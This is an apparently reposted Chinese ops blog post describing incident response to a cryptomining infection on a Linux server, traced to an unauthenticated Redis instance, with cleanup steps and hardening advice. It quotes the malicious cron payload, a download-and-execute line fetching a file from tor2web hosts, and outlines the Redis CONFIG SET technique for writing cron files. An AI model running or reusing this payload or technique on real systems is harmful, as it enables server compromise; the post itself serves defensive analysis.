【运维实战笔记】记一次 Linux 被植入病毒的应急处理全过程

Python运维开发

发布于 2025-09-29 14:15:18

1990

文章被收录于专栏：Python运维开发Python运维开发

事件起因：监控报警，进程异常

半夜凌晨，被服务器监控系统的报警通知嘚嘚醒了：

❌ 进程数量异常：当前进程数 800，超过阈值 300

登录服务器后，执行 top，发现系统中有大量 僵尸进程（Zombie），CPU 使用率高。紧接着运行：

ps -aux | more

发现 n多 (tbin=$(command -v passwd); ...) 的可疑进程，命令行中夹杂着 curl、wget、.onion.、tor2web样的命令。

心想卧槽！中病毒了，而且极可能是挖矿病毒。

🔍 初步排查：定位源头

这类病毒通常通过 定时任务（crontab） 持久化驻留，于是第一时间检查：

crontab -l
结果crontab 已被清空

显然是攻击者操作过crontab ，继续查找其他隐藏的定时任务。

查看系统所有 cron 配置目录：

ll /var/spool/cron/
ll /etc/cron.d/ 
cat /etc/crontab

果然/var/spool/cron/ 下发现了异常文件

查看病毒脚本分析

crontab被以下脚本替换：

被植入病毒脚本内容：

/bin/sh -c (tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; \
if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; \
... \
${curl} -fsSLk --max-time 40 https://7xffbbbebumizpeg.tor2web.su/src/ldm3 -o ~/.ntp \
|| wget --quiet --no-check-certificate --timeout=40 https://7xffbbbebumizpeg.tor2web.io/src/ldm3 -O ~/.ntp) \
&& chmod +x ~/.ntp && sh ~/.ntp

🛠️ 应急处理步骤

1、清空可疑定时任务 `# 删除 /var/spool/cron/ 下的可疑文件`

2、查找并清除隐藏的 cron.d 任务

3、kill掉定时任务启动的病毒任务

ps -ef|grep tbin|grep -v bash \
|grep -v sshd \
|awk '{print $2}|xargs -i{} kill -9 {}

4、再次查看进程，不到一分钟发现脚本又重新启动

ps -aux|more  chkconfig --list  并没有发现可疑程序

5、再次杀死进程，并停止 crontab ，过了一会再次查看进程，已经不存在了，可以确定是 crontab的问题了

6、进一步清理

通过定时任务里的url 地址搜定时任务配置文件，全局搜到如下其实是伪装的Binary file 全部清除，深色版本

[root@application01 ~]# grep -irnH 7xffbbbebumizpeg /*
Binary file /etc/cron.d/.vuhcwazfbpmgakhhoc matches
Binary file /etc/cron.d/.auwdfmcucuhaq matches
Binary file /etc/cron.d/.cpddmaaqgh matches
Binary file /etc/cron.d/.yaygulruw matches
Binary file /etc/cron.d/.fddjefx matches
Binary file /etc/cron.d/.bgvhyj matches
Binary file /etc/crontab matches
Binary file /home/123/root matches
删除这些隐藏的二进制文件：

💡 注意：只要cron.d 目录下的文件，都会被 crontab 服务加载

7、重启 cron 服务并再次观察是否还有可疑进程存在

systemctl restart crond
# 观察几分钟
ps -aux | grep tbin
确认病毒未复活，说明已彻底清除。

被攻击原因：Redis 漏洞被利用

我 Redis 并未对外开放 6379 端口，通过日志和攻击特征，攻击者很可能是：

内网横向移动：攻击者先攻陷了同一内网的其他薄弱主机，再从内网扫描并攻击 Redis。
未设置密码：Redis 配置中 requirepass 未启用。
绑定了 0.0.0.0：即使在内网，bind 0.0.0.0 也增加了暴露面。
利用 Redis 写文件：攻击者通过 Redis 的 CONFIG SET dir /etc/cron.d 和 SET xxx "内容" 写入恶意 cron 文件。

✅ 安全加固建议

1. Redis 安全配置

conf

# 绑定内网 IP，禁止外网访问
bind 127.0.0.1 192.168.1.100

# 启用密码认证
requirepass 密码

#修改默认端口

port 12345

禁用 root 远程登录：使用普通用户 + sudo。

. 网络层面

最小化端口暴露：仅开放必要端口。
内网隔离：重要服务禁止访问公网。
使用iptables限制 IP 访问

：iptables

最小权限原则：

：服务能不暴露就不暴露，能加密码就加密码，非必要禁止访问公网

🧠 总结与反思

“一入运维深似海，从此假期是路人。”

即使服务不对外也不能大意，内网也并非绝对的安全

本文参与腾讯云自媒体同步曝光计划，分享自微信公众号。

原始发表：2025-08-05，如有侵权请联系 cloudcommunity@tencent.com 删除

运维

本文分享自 Python运维开发微信公众号，前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与腾讯云自媒体同步曝光计划，欢迎热爱写作的你一起参与！

登录后参与评论

0 条评论

热度